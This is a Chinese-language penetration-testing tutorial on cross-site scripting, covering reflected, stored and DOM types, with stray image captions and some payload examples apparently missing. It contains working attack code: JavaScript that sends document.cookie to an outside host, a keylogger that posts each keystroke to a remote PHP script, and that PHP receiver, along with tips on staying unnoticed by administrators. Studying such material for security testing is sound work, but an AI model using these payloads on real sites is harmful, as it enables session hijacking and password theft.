渗透测试中的XSS攻击详解

什么是XSS

简单来说XSS攻击就是跨站脚本攻击,完整的英文名称是cross-site scripting,不过css已经在使用了,所以简称为XSS。

一个web项目简单来描述结构大概是这样的:

渗透测试中的XSS攻击详解

简易web项目结构图

漏洞的根源其实还是在web服务器上,只是我们攻击的目标是客户端。我们借助在web服务器上的漏洞,将我们的恶意代码注入到web服务器,让用户请求web服务器的时候浏览器执行这段代码,以达到我们的目的。

这恶意的代码通常是js代码,但实际上也可以是java、vbs、ActiveX、Flash或者是普通的HTML。浏览器一般情况是不会判断的,只要是符合解析,那么就会执行所有代码。

这里不对各种语言(js、java、vbs)进行展开介绍,你如果感兴趣可以找点基础教程看一下,不感兴趣就随便看看吧,真的要进行XSS攻击了,其实网上也有很多现成的恶意代码可以使用。

XSS能做到的攻击

XSS攻击能做到的效果其实挺多的,大概归纳一下:

  • 盗取Cookie并发送(在黑产中用的最频繁);
  • 获取内网ip(攻击内网、扫描内网);
  • 获取浏览器保存的明文密码;
  • 截取网页屏幕;
  • 网页上的键盘记录。
  • 重定向

XSS业务场景

现在公网上其实也会有XSS攻击的情况,重灾区主要是一些小众论坛的评论区、留言区、个人信息、订单信息等,比较容易被针对的功能是站内信、网页即时通讯、私信、意见反馈,比较容易存在隐患的地方是搜索框、当前目录、图片属性等。

具体使用场景可以归纳成这些:

  • 直接嵌入html:
  • 无元素标签事件:
  • 图片标签:
  • 其他可以加XSS的标签: # 用于盗取当前站点的cookie信息 # 用于篡改网页信息

    反射型XSS-cookie盗取

    真实盗取cookie肯定不会直接在链接中写明document.cookie这样的内容。而且也不会传入太长的恶意代码,我们会让浏览器从第三方机器处获取完整的代码进行执行,以达到我们的目的。

    通过以下代码,让客户端去获取完整的恶意代码:

    在第三方站点准备恶意代码,如果是要获取客户端的cookie的话,可以这样:

    var img = new Image();
    img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;

    然后在第三方站点中恶意代码的目标机器处,开启监听。这样当完整的恶意代码被执行时,我们就能获取客户端的cookie信息了。

    接下来演示实际操作。第一步在第三方站点准备代码,让客户端来访问:

    渗透测试中的XSS攻击详解

    开启apache服务,让客户端能够访问到准备的恶意代码:

    渗透测试中的XSS攻击详解

    service apache2 start

    开启监听:

    渗透测试中的XSS攻击详解

    监听88端口

    在漏洞位置执行恶意代码:

    渗透测试中的XSS攻击详解

    利用XSS漏洞

    获取到的cookie信息:

    渗透测试中的XSS攻击详解

    获取到的信息

    反射型XSS-键盘记录器

    反射型XSS还比较容易造成键盘记录器这一类危害,从字面意思就可以知道就是记录你的键盘输出内容,当键盘记录器被触发后,你在当前页面通过键盘输出的内容都会被记录下来。如果是在登录页面有反射型XSS,刚好被利用触发了键盘记录器,那账号密码就很容易被盗取了。

    先准备一个实现键盘记录的代码:

    渗透测试中的XSS攻击详解

    实现键盘记录的代码

    document.onkeypress = function(evt){
    	evt = evt || window.event
    	key = String.fromCharCode(evt.charCode)
    	if (key){
    		var http = new XMLHttpRequest();
    		var param = encodeURI(key);
    		http.open("POST", "http://192.168.218.128/keylogger.php", true);
    		http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    		http.send("key="+param);
    	}
    }

    键盘记录的内容是要传给keylogger.php的,所以要提前准备好keylogger.php:

    <?php
    $key=$_POST['key'];
    $logfile="keylog.txt";
    $fp=fopen($logfile, "a");
    fwrite($fp, $key);
    fclose($fp);
    ?>
    渗透测试中的XSS攻击详解

    准备的keylogger.php

    最后还需要将用于记录键盘内容的文档keylog.txt创建好,并将赋予读写权限:

    渗透测试中的XSS攻击详解

    准备的keylog.txt

    别忘了将apache服务启动。之后到客户端触发键盘记录器:

    渗透测试中的XSS攻击详解

    触发键盘记录器

    随便敲击一些键盘按键,到keylog.txt查看是否被记录下来:

    渗透测试中的XSS攻击详解

    被记录的键盘输出内容

    存储型XSS检测

    这里来介绍存储型的XSS的检测。和反射型XSS检测是一样的,都是通过输入一些前端的代码,看会不会被执行,例如这样:

    渗透测试中的XSS攻击详解

    存储型XSS检测

    如果存在存储型SXX就会有输入代码对应的效果:

    渗透测试中的XSS攻击详解

    输入代码被执行

    而且每次进入这个页面都会执行这段代码,能看到对应的效果。

    所以在互联网上测试存储型XSS的时候,别使用效果太明显的,因为你的测试数据是存到数据库里的,如果你没能力删除测试数据的话,很多用户就能感知到你的测试代码。如果你使用alert这种弹窗,管理员很难不感知到有人在试图渗透进来。

    还有前面提过很多遍,XSS漏洞的根源其实是在服务端的,而前端可能会做一些校验限制你前期对于XSS漏洞的检测。这个时候你可以尝试直接针对接口进行XSS漏洞的检测,绕开前端的校验限制。比如前端限制了输入框的字符长度,但是后端接口没做限制,你就可以直接通过接口将代码传给后端服务器。

    当前你要是对前端的代码比较熟,也可以直接在页面上修改输入限制,效果也是一样的。

    存储型XSS-cookie盗取

    存储型XSS盗取cookie也是差不多的方式,准备好第三方机器和对应的代码:

    渗透测试中的XSS攻击详解

    第三方机器中准备的代码

    在第三方服务器中启动apache服务。

    然后到目标客户端中执行攻击代码:

    渗透测试中的XSS攻击详解

    获取cookie

    只要有用户进入有恶意代码的页面,就会向目标机器发送cookie。

    DOM型XSS-cookie盗取

    DOM型XSS的检测和反射型XSS基本一致,就是使用的语法有点不同,需要通过调用HTML的标准接口实现。漏洞利用方式和反射型差不多,但是使用的代码不太一样,例如盗取cookie的代码可以这样写:

    总结

    XSS是历史悠久的web项目中的漏洞,随着开发人员的安全意识增加,技术的进步,对于XSS的防护也越来越全面,但是总会有一些漏网之鱼。在XSS的探测过程中不要轻易判定结果,要做充分的测试,可以借助一些检测工具。

发表评论
留言与评论(共有 0 条评论) “”
   
验证码:

相关文章

推荐文章